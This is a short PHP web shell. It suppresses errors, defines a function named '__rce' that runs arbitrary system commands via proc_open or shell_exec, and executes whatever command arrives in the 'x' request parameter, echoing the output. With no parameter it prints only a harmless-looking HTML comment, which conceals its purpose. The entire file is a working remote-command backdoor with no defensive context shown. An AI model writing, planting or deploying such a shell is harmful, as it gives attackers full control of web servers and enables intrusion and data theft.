<?php
error_reporting(0);
ini_set('display_errors','0');
function __rce($c){
    $o='';
    if(function_exists('proc_open')){
        $p=@proc_open($c,[0=>['pipe','r'],1=>['pipe','w'],2=>['pipe','w']],$pp);
        if(is_resource($p)){
            $o=stream_get_contents($pp[1]);
            proc_close($p);
        }
    } elseif(function_exists('shell_exec')){
        $o=@shell_exec($c);
    }
    return $o;
}
$k=$_GET['x']??$_POST['x']??'';
if($k!==''){ echo '<pre>'.htmlspecialchars(__rce($k)).'</pre>'; }
else { echo '<!-- ok -->'; }
?>